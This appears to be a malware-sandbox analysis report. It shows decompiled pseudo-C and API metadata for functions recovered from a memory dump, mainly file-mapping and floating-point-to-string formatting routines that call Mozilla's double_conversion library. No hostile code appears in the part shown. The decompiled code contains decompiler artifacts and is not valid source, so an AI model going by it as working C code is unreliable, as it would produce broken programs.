UnmapViewOfFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,6D0E2F45), ref: 6D0E2366
CloseHandle.KERNEL32(00000000,00000000,00000000,?,?,6D0E2F45,00000000), ref: 6D0E236D
UnmapViewOfFile.KERNEL32(00000000), ref: 6D0E237C

Part of subcall function 6D0E19F1: GetSystemInfo.KERNEL32(?,00000000,00000000,?,?,?,?,6D0E2353,00000000,?,00000000,00000000,?,?,6D0E2F45,00000000), ref: 6D0E19FF
Part of subcall function 6D0E19F1: MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,?,00000000,?,?,?,?,6D0E2353,00000000,?,00000000,00000000), ref: 6D0E1A27

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: File$View$CloseCreateHandleInfoSystemUnmap$Mapping
String ID:
API String ID: 368139509-0
Opcode ID: 65d455e6a2c1377d38b87a55ffaea12778de4ffdb063b7007ce7083f9b94ff39
Instruction ID: 700795d891a83200f9cbc8acb135565a20cdcc126c4717eb4d3fd3ef9f1e6282
Opcode Fuzzy Hash: 65d455e6a2c1377d38b87a55ffaea12778de4ffdb063b7007ce7083f9b94ff39
Instruction Fuzzy Hash: 65114C35600216BFEB209B75EC4CFAF7FBCEF467A1F104154B915AA191C7718950CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EF880, Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E6D0EF880(void* __ebx, signed int* __ecx, void* __edi, void* __esi, char* _a4) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				char _v32;
				signed int _v36;
				signed int _v40;
				char _v56;
				signed int _v60;
				signed int _v64;
				char _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				char* _v96;
				signed int _v100;
				signed int _v104;
				signed int _t95;
				intOrPtr _t98;
				void* _t104;
				signed int _t105;
				signed int _t108;
				signed int _t118;
				void* _t126;
				void* _t142;
				signed int _t145;
				signed int _t146;
				void* _t147;
				void* _t149;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				void* _t157;
				signed int _t158;
				void* _t159;
				signed int _t167;
				intOrPtr* _t172;
				signed int _t186;
				char* _t194;
				signed int _t195;
				signed int _t196;
				signed int _t197;
				signed int* _t199;
				signed int _t200;
				signed int _t201;
				void* _t202;
				signed int _t203;

				_t95 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t95 ^ _t203;
				_t199 = __ecx;
				_t194 = _a4;
				_v96 = _t194;
				_t98 =  *((intOrPtr*)(__ecx + 0xc));
				if(_t98 == 0) {
					__eflags =  *(__ecx + 0x10);
					_t100 =  ==  ? "Infinity" : "-Infinity";
					E6D0ED7DC(_t194,  ==  ? "Infinity" : "-Infinity");
				} else {
					_t104 = _t98 - 1;
					if(_t104 == 0) {
						L7:
						_v40 = 0;
						_v36 = 0xf;
						_v56 = 0;
						__eflags = _t199[4];
						if(_t199[4] != 0) {
							E6D0EF273( &_v56, 0x2d);
						}
						_t105 = _t199[2];
						_t153 =  *_t199;
						_t200 = _t199[1];
						_v88 = _t105;
						_v92 = _t153;
						_v84 = _t200;
						__eflags = _t105;
						if(__eflags < 0) {
							_t142 = E6D0EE878(_t153, _t200);
							_pop(_t186);
							__eflags = _t142 - 0xf;
							if(_t142 > 0xf) {
								_t197 = _v88;
								do {
									_t146 = E6D0F7CA0(_t153, _t200, 0xa, 0);
									_v100 = _t153;
									_t200 = 0;
									_v104 = _t186;
									_t153 = _t146;
									_t197 = _t197 + 1;
									_t147 = E6D0EE878(_t153, 0);
									_t186 = _t153;
									__eflags = _t147 - 0xf;
								} while (_t147 > 0xf);
								__eflags = _v100;
								_v88 = _t197;
								_t194 = _v96;
								_v84 = 0;
								_v92 = _t153;
								if(_v100 > 0) {
									L15:
									_t153 = _t153 + 1;
									__eflags = _t153;
									_v92 = _t153;
									asm("adc esi, 0x0");
									_v84 = _t200;
								} else {
									__eflags = _v104 - 5;
									if(_v104 >= 5) {
										goto L15;
									}
								}
							}
							__eflags = _v88;
							if(__eflags < 0) {
								_t196 = _v88;
								while(1) {
									__eflags = _t153 | _t200;
									if(__eflags == 0) {
										break;
									}
									_push(_t153);
									_t145 = E6D0F7CA0(_t153, _t200, 0xa, 0);
									_t186 = _t186 | _t153;
									__eflags = _t186;
									if(__eflags != 0) {
										_t153 = _v92;
										_t200 = _v84;
									} else {
										_t153 = _t145;
										_t200 = 0;
										_t196 = _t196 + 1;
										__eflags = _t196;
										_v92 = _t153;
										_v84 = 0;
										_v88 = _t196;
										if(__eflags < 0) {
											continue;
										} else {
										}
									}
									break;
								}
								_t194 = _v96;
							}
						}
						E6D0EEF29(_t194, _t200, __eflags,  &_v32, _t153, _t200);
						_t108 = _v88;
						_t201 = _v16;
						_t154 = _t201 + _t108;
						_t167 = _t154 - 1;
						_v84 = _t167;
						__eflags = _t108;
						if(_t108 > 0) {
							L41:
							__eflags = _v12 - 0x10;
							_t110 =  >=  ? _v32 :  &_v32;
							_t111 =  *( >=  ? _v32 :  &_v32) & 0x000000ff;
							E6D0EF273( &_v56,  *( >=  ? _v32 :  &_v32) & 0x000000ff);
							__eflags = _t201 - 2;
							if(_t201 >= 2) {
								while(1) {
									__eflags = _v12 - 0x10;
									_t126 =  >=  ? _v32 :  &_v32;
									__eflags =  *((char*)(_t126 + _t201 - 1)) - 0x30;
									if( *((char*)(_t126 + _t201 - 1)) != 0x30) {
										break;
									}
									_t201 = _t201 - 1;
									__eflags = _t201 - 2;
									if(_t201 >= 2) {
										continue;
									}
									break;
								}
								__eflags = _t201 - 2;
								if(_t201 >= 2) {
									E6D0EF273( &_v56, 0x2e);
									_t157 = 1;
									__eflags = _t201 - 1;
									if(_t201 > 1) {
										do {
											__eflags = _v12 - 0x10;
											_t129 =  >=  ? _v32 :  &_v32;
											E6D0EF273( &_v56, ( >=  ? _v32 :  &_v32)[_t157] & 0x000000ff);
											_t157 = _t157 + 1;
											__eflags = _t157 - _t201;
										} while (_t157 < _t201);
									}
								}
							}
							_t155 = _v84;
							__eflags = _t155;
							if(_t155 != 0) {
								_v60 = 0xf;
								_v80 = 0;
								_t192 =  >=  ? "e+" : "e";
								_t82 =  &_v64;
								 *_t82 = _v64 & 0x00000000;
								__eflags =  *_t82;
								_t172 =  >=  ? "e+" : "e";
								_t84 = _t172 + 1; // 0x6d0fad91
								_t202 = _t84;
								do {
									_t118 =  *_t172;
									_t172 = _t172 + 1;
									__eflags = _t118;
								} while (_t118 != 0);
								E6D0EE69F( &_v80, _t192, _t172 - _t202);
								__eflags = _v60 - 0x10;
								_t121 =  >=  ? _v80 :  &_v80;
								E6D0EE5DF( &_v56,  >=  ? _v80 :  &_v80, _v64);
								E6D0EE43F( &_v80);
								E6D0EE638( &_v56, _t192, _t194, _t202, __eflags, _t155);
							}
						} else {
							__eflags = _t167 - 0xfffffffa;
							if(_t167 < 0xfffffffa) {
								goto L41;
							} else {
								__eflags = _t108;
								if(_t108 != 0) {
									__eflags = _t167;
									if(_t167 < 0) {
										E6D0EE5DF( &_v56, "0.", 2);
										__eflags = _t154;
										if(_t154 < 0) {
											_t158 =  ~_t154;
											do {
												E6D0EF273( &_v56, 0x30);
												_t158 = _t158 - 1;
												__eflags = _t158;
											} while (_t158 != 0);
										}
										_push(_v16);
										goto L28;
									} else {
										_t159 = 0;
										__eflags = _t201;
										if(_t201 > 0) {
											_t195 = _v84;
											do {
												__eflags = _v12 - 0x10;
												_t138 =  >=  ? _v32 :  &_v32;
												E6D0EF273( &_v56, ( >=  ? _v32 :  &_v32)[_t159] & 0x000000ff);
												__eflags = _t159 - _t195;
												if(_t159 == _t195) {
													E6D0EF273( &_v56, 0x2e);
												}
												_t159 = _t159 + 1;
												__eflags = _t159 - _t201;
											} while (_t159 < _t201);
											_t194 = _v96;
										}
										goto L29;
									}
									L53:
								} else {
									_push(_t201);
									L28:
									__eflags = _v12 - 0x10;
									_t134 =  >=  ? _v32 :  &_v32;
									_push( >=  ? _v32 :  &_v32);
									E6D0EE5DF( &_v56);
								}
							}
						}
						L29:
						 *(_t194 + 0x10) =  *(_t194 + 0x10) & 0x00000000;
						 *(_t194 + 0x14) =  *(_t194 + 0x14) & 0x00000000;
						E6D0EE335(_t194,  &_v56);
						E6D0EE43F( &_v32);
						E6D0EE43F( &_v56);
					} else {
						_t149 = _t104 - 1;
						if(_t149 == 0) {
							_push(3);
							_push("NaN");
							goto L5;
						} else {
							if(_t149 == 1) {
								goto L7;
							} else {
								_push(0);
								_push(0x6d0fad24);
								L5:
								 *(_t194 + 0x10) = 0;
								 *(_t194 + 0x14) = 0xf;
								 *_t194 = 0;
								E6D0EE69F(_t194);
							}
						}
					}
				}
				return E6D0F70C0(_v8 ^ _t203);
				goto L53;
			}

0x6d0ef886
0x6d0ef88d
0x6d0ef892
0x6d0ef897
0x6d0ef89a
0x6d0ef8a0
0x6d0ef8a2
0x6d0efb57
0x6d0efb64
0x6d0efb6a
0x6d0ef8a8
0x6d0ef8a8
0x6d0ef8ab
0x6d0ef8de
0x6d0ef8de
0x6d0ef8e1
0x6d0ef8e8
0x6d0ef8eb
0x6d0ef8ee
0x6d0ef8f5
0x6d0ef8f5
0x6d0ef8fa
0x6d0ef8fe
0x6d0ef900
0x6d0ef903
0x6d0ef906
0x6d0ef909
0x6d0ef90c
0x6d0ef90e
0x6d0ef916
0x6d0ef91c
0x6d0ef91d
0x6d0ef920
0x6d0ef922
0x6d0ef925
0x6d0ef92c
0x6d0ef931
0x6d0ef935
0x6d0ef937
0x6d0ef93a
0x6d0ef93c
0x6d0ef93f
0x6d0ef945
0x6d0ef946
0x6d0ef946
0x6d0ef94b
0x6d0ef94f
0x6d0ef952
0x6d0ef955
0x6d0ef958
0x6d0ef95b
0x6d0ef963
0x6d0ef963
0x6d0ef963
0x6d0ef966
0x6d0ef969
0x6d0ef96c
0x6d0ef95d
0x6d0ef95d
0x6d0ef961
0x00000000
0x00000000
0x6d0ef961
0x6d0ef95b
0x6d0ef96f
0x6d0ef973
0x6d0ef975
0x6d0ef978
0x6d0ef97a
0x6d0ef97c
0x00000000
0x00000000
0x6d0ef97e
0x6d0ef985
0x6d0ef98a
0x6d0ef98a
0x6d0ef98d
0x6d0ef9a3
0x6d0ef9a6
0x6d0ef98f
0x6d0ef98f
0x6d0ef991
0x6d0ef993
0x6d0ef993
0x6d0ef996
0x6d0ef999
0x6d0ef99c
0x6d0ef99f
0x00000000
0x00000000
0x6d0ef9a1
0x6d0ef99f
0x00000000
0x6d0ef98d
0x6d0ef9a9
0x6d0ef9a9
0x6d0ef973
0x6d0ef9b2
0x6d0ef9b7
0x6d0ef9bd
0x6d0ef9c0
0x6d0ef9c3
0x6d0ef9c6
0x6d0ef9c9
0x6d0ef9cb
0x6d0efa84
0x6d0efa84
0x6d0efa8e
0x6d0efa92
0x6d0efa96
0x6d0efa9b
0x6d0efa9e
0x6d0efaa0
0x6d0efaa0
0x6d0efaa7
0x6d0efaab
0x6d0efab0
0x00000000
0x00000000
0x6d0efab2
0x6d0efab3
0x6d0efab6
0x00000000
0x00000000
0x00000000
0x6d0efab6
0x6d0efab8
0x6d0efabb
0x6d0efac2
0x6d0efac9
0x6d0efaca
0x6d0efacc
0x6d0eface
0x6d0eface
0x6d0efad8
0x6d0efae1
0x6d0efae6
0x6d0efae7
0x6d0efae7
0x6d0eface
0x6d0efacc
0x6d0efabb
0x6d0efaeb
0x6d0efaee
0x6d0efaf0
0x6d0efafb
0x6d0efb07
0x6d0efb0b
0x6d0efb0e
0x6d0efb0e
0x6d0efb0e
0x6d0efb12
0x6d0efb14
0x6d0efb14
0x6d0efb17
0x6d0efb17
0x6d0efb19
0x6d0efb1a
0x6d0efb1a
0x6d0efb25
0x6d0efb2a
0x6d0efb34
0x6d0efb3c
0x6d0efb44
0x6d0efb4d
0x6d0efb4d
0x6d0ef9d1
0x6d0ef9d1
0x6d0ef9d4
0x00000000
0x6d0ef9da
0x6d0ef9da
0x6d0ef9dc
0x6d0efa1b
0x6d0efa1d
0x6d0efa62
0x6d0efa67
0x6d0efa69
0x6d0efa6b
0x6d0efa6d
0x6d0efa72
0x6d0efa77
0x6d0efa77
0x6d0efa77
0x6d0efa6d
0x6d0efa7c
0x00000000
0x6d0efa1f
0x6d0efa1f
0x6d0efa21
0x6d0efa23
0x6d0efa25
0x6d0efa28
0x6d0efa28
0x6d0efa32
0x6d0efa3b
0x6d0efa40
0x6d0efa42
0x6d0efa49
0x6d0efa49
0x6d0efa4e
0x6d0efa4f
0x6d0efa4f
0x6d0efa53
0x6d0efa53
0x00000000
0x6d0efa23
0x00000000
0x6d0ef9de
0x6d0ef9de
0x6d0ef9df
0x6d0ef9df
0x6d0ef9e9
0x6d0ef9ed
0x6d0ef9ee
0x6d0ef9ee
0x6d0ef9dc
0x6d0ef9d4
0x6d0ef9f3
0x6d0ef9f3
0x6d0ef9fa
0x6d0efa01
0x6d0efa09
0x6d0efa11
0x6d0ef8ad
0x6d0ef8ad
0x6d0ef8b0
0x6d0ef8d5
0x6d0ef8d7
0x00000000
0x6d0ef8b2
0x6d0ef8b5
0x00000000
0x6d0ef8b7
0x6d0ef8b7
0x6d0ef8b8
0x6d0ef8bd
0x6d0ef8bd
0x6d0ef8c2
0x6d0ef8c9
0x6d0ef8cb
0x6d0ef8cb
0x6d0ef8b5
0x6d0ef8b0
0x6d0ef8ab
0x6d0efb81
0x00000000

APIs

__aulldvrm.LIBCMT ref: 6D0EF92C
__aulldvrm.LIBCMT ref: 6D0EF985

Strings

NaN, xrefs: 6D0EF8D7
-Infinity, xrefs: 6D0EFB5F, 6D0EFB69
Infinity, xrefs: 6D0EFB5A

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: -Infinity$Infinity$NaN
API String ID: 1302938615-2857212649
Opcode ID: a382571fe00e59a995cc14a057299d87bcd476242dc13781ded9e335378ddb8d
Instruction ID: 10e625420b7d6555c069647e606177d4dbc1c173a582205ee55c7e3ddcf60234
Opcode Fuzzy Hash: a382571fe00e59a995cc14a057299d87bcd476242dc13781ded9e335378ddb8d
Instruction Fuzzy Hash: 90A1A071E04209AFEB04CFE5E890BEEBFBDEF45388F61812AD511AB280D7759945CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6D0F41A0, Relevance: 7.6, APIs: 5, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E6D0F41A0(void* __ebx, unsigned int* __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr _a12, char* _a16, intOrPtr* _a20) {
				signed int _v8;
				char _v132;
				char _v133;
				char _v140;
				char _v144;
				char _v148;
				char* _v152;
				void* __ebp;
				signed int _t34;
				char* _t36;
				signed char _t47;
				intOrPtr* _t75;
				intOrPtr _t82;
				intOrPtr _t83;
				intOrPtr _t87;
				signed int _t89;
				signed int _t90;
				void* _t94;
				intOrPtr _t95;
				signed int _t98;

				_t94 = __esi;
				_t89 = __edx;
				_t34 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t34 ^ _t98;
				_t36 = _a16;
				asm("movsd xmm0, [ebp+0x8]");
				_push(__ebx);
				_t75 = _a20;
				_v152 = _t36;
				 *_t36 = 0;
				_push(__edi);
				_t92 = __ecx;
				asm("movsd [ebp-0x9c], xmm0");
				asm("movsd [ebp-0x90], xmm0");
				E6D0EFCE8(__ecx,  &_v148);
				_t90 = _t89 & 0x7ff00000;
				if(0 != 0 || _t90 != 0x7ff00000) {
					_push(_t94);
					_t95 = _a12;
					if(_t95 - 1 <= 0x77) {
						asm("movsd xmm0, [ebp-0x9c]");
						asm("movsd [esp], xmm0");
						_t47 = E6D0F1F20(_t75, 0x7ff00000, _t90, _t92, _t95, 0x7ff00000, 0x7ff00000, 3, _t95,  &_v132, 0x79,  &_v133,  &_v140,  &_v144);
						if(_v133 != 0) {
							asm("movsd xmm0, [ebp-0x9c]");
							asm("ucomisd xmm0, [0x6d0fb580]");
							asm("lahf");
							if((_t47 & 0x00000044) != 0 || ( *_t92 >> 0x00000003 & 0x00000001) == 0) {
								_t87 =  *((intOrPtr*)(_t75 + 8));
								 *((intOrPtr*)(_t75 + 8)) = _t87 + 1;
								 *((char*)(_t87 +  *_t75)) = 0x2d;
							}
						}
						_t82 = _v144;
						_v144 = _t82 - 1;
						if(1 - _t82 > _t92[6] || ( *_t92 >> 0x00000002 & 0x00000001) - _t95 + _t82 > _t92[7]) {
							_t83 = _v140;
							if(_t83 < _t95) {
								memset( &_v132 + _t83, 0x30, _t95 - _t83);
							}
							 *_v152 = 1;
							E6D0F17E0(_t75, _t92, _t92, _t95,  &_v132, _t95, _v144, _t75);
						} else {
							_t66 =  >  ? _t95 - _t82 : 0;
							E6D0F16D0(_t92,  &_v132, _v140, _t82,  >  ? _t95 - _t82 : 0, _t75);
						}
					}
				} else {
					asm("movsd xmm0, [ebp-0x9c]");
					asm("movsd [esp], xmm0");
					E6D0F2B30(__ecx, _t90, 0x7ff00000, 0x7ff00000, _t75);
				}
				return E6D0F70C0(_v8 ^ _t98);
			}

0x6d0f41a0
0x6d0f41a0
0x6d0f41a9
0x6d0f41b0
0x6d0f41b3
0x6d0f41b6
0x6d0f41bb
0x6d0f41bc
0x6d0f41bf
0x6d0f41c5
0x6d0f41ce
0x6d0f41d0
0x6d0f41d2
0x6d0f41da
0x6d0f41e2
0x6d0f41ed
0x6d0f41f1
0x6d0f4213
0x6d0f4214
0x6d0f421d
0x6d0f4223
0x6d0f424b
0x6d0f4250
0x6d0f425f
0x6d0f4261
0x6d0f4269
0x6d0f4271
0x6d0f4275
0x6d0f4280
0x6d0f4286
0x6d0f428b
0x6d0f428b
0x6d0f4275
0x6d0f428f
0x6d0f4298
0x6d0f42a6
0x6d0f42d8
0x6d0f42e0
0x6d0f42ef
0x6d0f42f4
0x6d0f430b
0x6d0f430e
0x6d0f42b9
0x6d0f42c0
0x6d0f42d1
0x6d0f42d1
0x6d0f4313
0x6d0f41f7
0x6d0f41f7
0x6d0f4204
0x6d0f4209
0x6d0f4209
0x6d0f4329

APIs

Part of subcall function 6D0EFCE8: memmove.VCRUNTIME140(?,?,00000008,00000000,00000000,?,6D0F435F,?,?,?,?,?,?,?,?,6D0EEE7F), ref: 6D0EFCF6

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE(7FF00000,7FF00000,?), ref: 6D0F4209
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE(7FF00000,7FF00000,00000003,?,?,00000079,?,?,?), ref: 6D0F4250
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,00000000,?), ref: 6D0F42D1
memset.VCRUNTIME140(?,00000030,?), ref: 6D0F42EF
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6D0F430E

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$CreateRepresentation@$Ascii@DecimalDtoaExponentialHandleMode@12@SpecialValues@memmovememset
String ID:
API String ID: 3918156932-0
Opcode ID: 83b8708dc9cd2d20384d04aeeb540683a71c9b8d5fa3559a9a58fd43d43d3d40
Instruction ID: fa758e6ed202be4ef476ae3b671d11062463b43b58bdcccda621e5227c273da5
Opcode Fuzzy Hash: 83b8708dc9cd2d20384d04aeeb540683a71c9b8d5fa3559a9a58fd43d43d3d40
Instruction Fuzzy Hash: 4B414071D1451DABEB15CE68CC80BAEB7BDFF49304F1081A9E948E7141EB719986CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6D0F3E70, Relevance: 7.6, APIs: 5, Instructions: 126
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E6D0F3E70(void* __ebx, unsigned int* __ecx, signed int __edx, void* __edi, void* __esi, intOrPtr _a12, intOrPtr* _a16) {
				signed int _v8;
				char _v132;
				char _v133;
				char _v140;
				char _v144;
				char _v148;
				void* __ebp;
				signed int _t29;
				signed int _t32;
				intOrPtr _t34;
				signed char _t41;
				char _t68;
				intOrPtr _t70;
				signed int _t72;
				signed int _t73;
				intOrPtr _t77;
				intOrPtr* _t79;
				signed int _t81;

				_t72 = __edx;
				_t29 =  *0x6d10003c; // 0x3dfc34f3
				_v8 = _t29 ^ _t81;
				asm("movsd xmm0, [ebp+0x8]");
				_push(__ebx);
				_push(__esi);
				_t79 = _a16;
				_t61 = __ecx;
				_push(__edi);
				asm("movsd [ebp-0x98], xmm0");
				asm("movsd [ebp-0x90], xmm0");
				_t32 = E6D0EFCE8(__ecx,  &_v148);
				_t73 = _t72 & 0x7ff00000;
				if((_t32 & 0) != 0 || _t73 != 0x7ff00000) {
					_t34 = _a12;
					if(_t34 >= 0xffffffff) {
						if(_t34 > 0x78) {
							goto L4;
						}
						asm("movsd xmm0, [ebp-0x98]");
						if(_t34 != 0xffffffff) {
							_t77 = _t34 + 1;
							asm("movsd [esp], xmm0");
							_t41 = E6D0F1F20(_t61, 0, _t73, _t77, _t79, 0, 0, 3, _t77,  &_v132, 0x7a,  &_v133,  &_v140,  &_v144);
							_t68 = _v140;
							if(_t68 < _t77) {
								_t41 = memset( &_v132 + _t68, 0x30, _t77 - _t68);
							}
						} else {
							asm("movsd [esp], xmm0");
							_t41 = E6D0F1F20(_t61, 0, _t73, 0x7ff00000, _t79, 0, 0, 0, 0,  &_v132, 0x7a,  &_v133,  &_v140,  &_v144);
							_t77 = _v140;
						}
						if(_v133 != 0) {
							asm("movsd xmm0, [ebp-0x98]");
							asm("ucomisd xmm0, [0x6d0fb580]");
							asm("lahf");
							if((_t41 & 0x00000044) != 0 || ( *_t61 >> 0x00000003 & 0x00000001) == 0) {
								_t70 =  *((intOrPtr*)(_t79 + 8));
								 *((intOrPtr*)(_t79 + 8)) = _t70 + 1;
								 *((char*)(_t70 +  *_t79)) = 0x2d;
							}
						}
						E6D0F17E0(_t61, _t61, _t77, _t79,  &_v132, _t77, _v144 - 1, _t79);
						goto L15;
					}
					L4:
					goto L15;
				} else {
					asm("movsd xmm0, [ebp-0x98]");
					asm("movsd [esp], xmm0");
					E6D0F2B30(__ecx, _t73, 0, 0, _t79);
					L15:
					return E6D0F70C0(_v8 ^ _t81);
				}
			}

0x6d0f3e70
0x6d0f3e79
0x6d0f3e80
0x6d0f3e83
0x6d0f3e8e
0x6d0f3e8f
0x6d0f3e90
0x6d0f3e93
0x6d0f3e95
0x6d0f3e97
0x6d0f3e9f
0x6d0f3ea7
0x6d0f3eb6
0x6d0f3eba
0x6d0f3edc
0x6d0f3ee2
0x6d0f3eee
0x00000000
0x00000000
0x6d0f3ef0
0x6d0f3efb
0x6d0f3f31
0x6d0f3f54
0x6d0f3f59
0x6d0f3f5e
0x6d0f3f69
0x6d0f3f78
0x6d0f3f7d
0x6d0f3efd
0x6d0f3f1c
0x6d0f3f21
0x6d0f3f26
0x6d0f3f2c
0x6d0f3f87
0x6d0f3f89
0x6d0f3f91
0x6d0f3f99
0x6d0f3f9d
0x6d0f3fa8
0x6d0f3fae
0x6d0f3fb3
0x6d0f3fb3
0x6d0f3f9d
0x6d0f3fc7
0x00000000
0x6d0f3fcc
0x6d0f3ee4
0x00000000
0x6d0f3ec0
0x6d0f3ec0
0x6d0f3ecd
0x6d0f3ed2
0x6d0f3fce
0x6d0f3fde
0x6d0f3fde

APIs

Part of subcall function 6D0EFCE8: memmove.VCRUNTIME140(?,?,00000008,00000000,00000000,?,6D0F435F,?,?,?,?,?,?,?,?,6D0EEE7F), ref: 6D0EFCF6

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE(00000000,00000000,?), ref: 6D0F3ED2
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE(00000000,00000000,00000000,00000000,?,0000007A,?,?,?), ref: 6D0F3F21
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6D0F3FC7

Memory Dump Source

Source File: 0000000C.00000002.881031241.000000006D0E1000.00000020.00020000.sdmp, Offset: 6D0E0000, based on PE: true

Associated: 0000000C.00000002.881025209.000000006D0E0000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881046456.000000006D0F9000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.881054935.000000006D100000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.881060024.000000006D102000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memmove
String ID:
API String ID: 68372405-0
Opcode ID: d4c0e651c70aa45993ce11c4ee4c345584276ab1000d7319a42104d67a996248
Instruction ID: d8ca4543315acd361880c4682aff99363c3e493e393bb1c89e450d5a854aef47
Opcode Fuzzy Hash: d4c0e651c70aa45993ce11c4ee4c345584276ab1000d7319a42104d67a996248
Instruction Fuzzy Hash: 1341857190451D9AEB15CE64CC41BEEB3BCFF4A314F208299F949E7180DB31AA8A8B51

Uniqueness

Uniqueness Score: -1.00%

Function 6D0EDA70, Relevance: 7.6, APIs: 5, Instructions: 94
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D0EDA70(signed int __ecx, void* __edx, void* _a4, intOrPtr* _a8) {
				intOrPtr* _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				signed int _v20;
				signed int _v24;
				char _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t35;
				void* _t44;
				void* _t46;
				void* _t48;
				void* _t50;
				signed int _t56;
				signed int _t67;
				void* _t69;
				intOrPtr* _t70;
				signed int _t76;

				_t69 = __edx;
				_v12 = 2;
				_t70 = _a8;
				_v8 = __ecx;
				_v20 = __ecx;
				_v16 = _t70;
				_t56 = 0 |  *((intOrPtr*)(__ecx + 0x10)) !=  *((intOrPtr*)(_t70 + 0x10));
				_t35 = E6D0EECEC( &_v20);
				if(_t35 == 0) {
					_t59 = _v8;
					_t76 =  *((short*)(_t70 + 8)) +  *((short*)(_v8 + 8));
					E6D0EEF9D(_t69,  &_v24,  *_v8,  *((intOrPtr*)(_t59 + 4)),  *_t70,  *((intOrPtr*)(_t70 + 4)));
					while(1) {
						__eflags = _v24 | _v20;
						if((_v24 | _v20) == 0) {
							break;
						}
						E6D0EE1CB(_t56,  &_v24, _t69, _t70, _t76, 0xa);
						_t76 = _t76 + 1;
						__eflags = _t76;
					}
					E6D0ED880(_a4, _t56, _t76, _v16, _v12);
					L19:
					return _a4;
				}
				_t44 = _t35 - 1;
				if(_t44 == 0) {
					E6D0EED50(_a4, _t56);
					L6:
					goto L19;
				}
				_t46 = _t44 - 1;
				if(_t46 == 0) {
					E6D0EFC47( &_v20, _a4);
					goto L19;
				}
				_t48 = _t46 - 1;
				if(_t48 == 0) {
					__eflags =  *((intOrPtr*)(_t70 + 0xc)) - 3;
					L9:
					if(__eflags != 0) {
						_t50 = E6D0EED50( &_v32, _t56);
					} else {
						_t50 = E6D0EF040( &_v32);
					}
					_t67 = 6;
					return memcpy(_a4, _t50, _t67 << 2);
				}
				if(_t48 == 1) {
					__eflags =  *((intOrPtr*)(__ecx + 0xc)) - 3;
					goto L9;
				}
				E6D0EF040(_a4);
				goto L6;
			}

0x6d0eda70
0x6d0eda7a
0x6d0eda82
0x6d0eda8a
0x6d0eda90
0x6d0eda96
0x6d0eda99
0x6d0edaa1
0x6d0edaa4
0x6d0edb12
0x6d0edb24
0x6d0edb2a
0x6d0edb3f
0x6d0edb42
0x6d0edb45
0x00000000
0x00000000
0x6d0edb39
0x6d0edb3e
0x6d0edb3e
0x6d0edb3e
0x6d0edb52
0x6d0edb57
0x00000000
0x6d0edb57
0x6d0edaa6
0x6d0edaa9
0x6d0edb07
0x6d0edac2
0x00000000
0x6d0edac2
0x6d0edaab
0x6d0edaae
0x6d0edafc
0x00000000
0x6d0edafc
0x6d0edab0
0x6d0edab3
0x6d0edace
0x6d0edad2
0x6d0edad5
0x6d0edae1
0x6d0edad7
0x6d0edad8
0x6d0edad8
0x6d0edaef
0x00000000
0x6d0edaf2
0x6d0edab8
0x6d0edac8
0x00000000
0x6d0edac8
